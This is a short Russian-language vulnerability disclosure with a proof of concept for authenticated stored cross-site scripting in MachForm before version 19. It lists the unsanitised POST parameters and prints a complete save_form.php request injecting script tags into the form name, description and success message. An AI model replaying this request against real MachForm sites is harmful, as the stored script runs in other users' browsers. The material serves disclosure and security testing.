
Подтверждение концепции для аутентифицированного хранимого XSS в MachForm v19, демонстрирующее внедрение JavaScript через несанитизированные POST-параметры для тестирования безопасности.
MachForm до версии 19 подвержен аутентифицированному сохраненному межсайтовому скриптингу (XSS).
В целевом веб-приложении запрос к уязвимому ресурсу был признан подверженным XSS-атаке. Параметры POST-запроса в теле уязвимого URL-адреса не проходят санитацию, что позволяет внедрить вредоносную нагрузку и выполнить JavaScript-код в браузере жертвы.
Уязвимые параметры:
fp%5Bdescription%5Dfp%5Bname%5Dfp%5Bsuccess_message%5DВозможно внедрение JavaScript-нагрузки в любой из уязвимых параметров

Запрос:
POST /save_form.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 2737
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
form_id=59032&csrf_token=26b435873fec39570ba67d44cce86095c0b598cdd2f46a80&fp%5Bid%5D=59032&fp%5Bname%5D=VAPT_FORM<script>alert(1)</script>&fp%5Bname_hide%5D=0&fp%5Bactive%5D=1&fp%5Bdescription%5D=VAPT+Description<script>alert(1)</script>&fp%5Bredirect%5D=&fp%5Bredirect_enable%5D=0&fp%5Bapproval_enable%5D=0&fp%5Bsuccess_message%5D=Success!+Your+submission+has+been+saved!%3Cscript%3Ealert(1)%3C%2Fscript%3E&fp%5Bpassword%5D=&fp%5Bframe_height%5D=385&fp%5Bunique_ip%5D=0&fp%5Bunique_ip_maxcount%5D=5&fp%5Bunique_ip_period%5D=d&fp%5Bcaptcha%5D=0&fp%5Bcaptcha_type%5D=n&fp%5Breview%5D=0&fp%5Bencryption_enable%5D=0&fp%5Bencryption_public_key%5D=null&fp%5Bentry_edit_enable%5D=0&fp%5Bentry_edit_resend_notifications%5D=0&fp%5Bentry_edit_rerun_logics%5D=0&fp%5Bentry_edit_auto_disable%5D=0&fp%5Bentry_edit_auto_disable_period%5D=1&fp%5Bentry_edit_auto_disable_unit%5D=r&fp%5Bentry_edit_hide_editlink%5D=0&fp%5Bkeyword_blocking_enable%5D=0&fp%5Bkeyword_blocking_list%5D=null&fp%5Blanguage%5D=english&fp%5Bresume_enable%5D=0&fp%5Bresume_subject%5D=Your+submission+to+%7Bform_name%7D+has+been+saved&fp%5Bresume_content%5D=Thank+you!+Your+submission+to+%3Cb%3E%7Bform_name%7D%3C%2Fb%3E+has+been+saved.%3Cbr+%2F%3E%3Cbr+%2F%3EYou+can+resume+the+form+at+any+time+by+clicking+the+link+below%3A%3Cbr+%2F%3E%3Ca+href%3D%22%7Bresume_url%7D%22%3E%7Bresume_url%7D%3C%2Fa%3E%3Cbr+%2F%3E%3Cbr+%2F%3E%3Cbr+%2F%3E%3Cbr+%2F%3E%3Cb%3EIMPORTANT%3A%3C%2Fb%3E%3Cbr+%2F%3EYour+submission+is+considered+incomplete+until+you+resume+the+form+and+press+the+submit+button.&fp%5Bresume_from_name%5D=&fp%5Bresume_from_email_address%5D= &fp%5Bapproval_email_subject%5D=Approval+Required+-+%7Bform_name%7D+%5B%23%7Bentry_no%7D%5D&fp%5Bapproval_email_content%5D=This+entry+needs+your+approval.%3Cbr%2F%3E%3Cbr%2F%3EPlease+approve+or+deny+by+using+the+link+below%3A%3Cbr%2F%3E%3Cstrong%3E%7Bview_entry_link%7D%3C%2Fstrong%3E%3Cbr%2F%3E%3Cbr%2F%3E%3Chr+style%3D%22width%3A+60%25%3Bmargin-top%3A+20px%3Bmargin-bottom%3A+20px%22%3E%3Cbr%2F%3E%7Bentry_data%7D&fp%5Blimit_enable%5D=0&fp%5Blimit%5D=0&fp%5Blabel_alignment%5D=top_label&fp%5Bschedule_enable%5D=0&fp%5Bschedule_start_date%5D=null&fp%5Bschedule_start_hour%5D=12%3A00%3Aam&fp%5Bschedule_end_date%5D=null&fp%5Bschedule_end_hour%5D=12%3A00%3Aam&fp%5Bpage_total%5D=1&fp%5Bpagination_type%5D=steps&fp%5Breview_primary_text%5D=Submit&fp%5Breview_secondary_text%5D=Previous&fp%5Breview_primary_img%5D=&fp%5Breview_secondary_img%5D=&fp%5Breview_use_image%5D=0&fp%5Breview_title%5D=Review+Your+Entry&fp%5Breview_description%5D=Please+review+your+entry+below.+Click+Submit+button+to+finish.&fp%5Bcustom_script_enable%5D=0&fp%5Bcustom_script_url%5D=&el_pos=el_pos%5B%5D%3D1
Нагрузка срабатывает, когда пользователь пытается отредактировать форму, подвергшуюся внедрению.

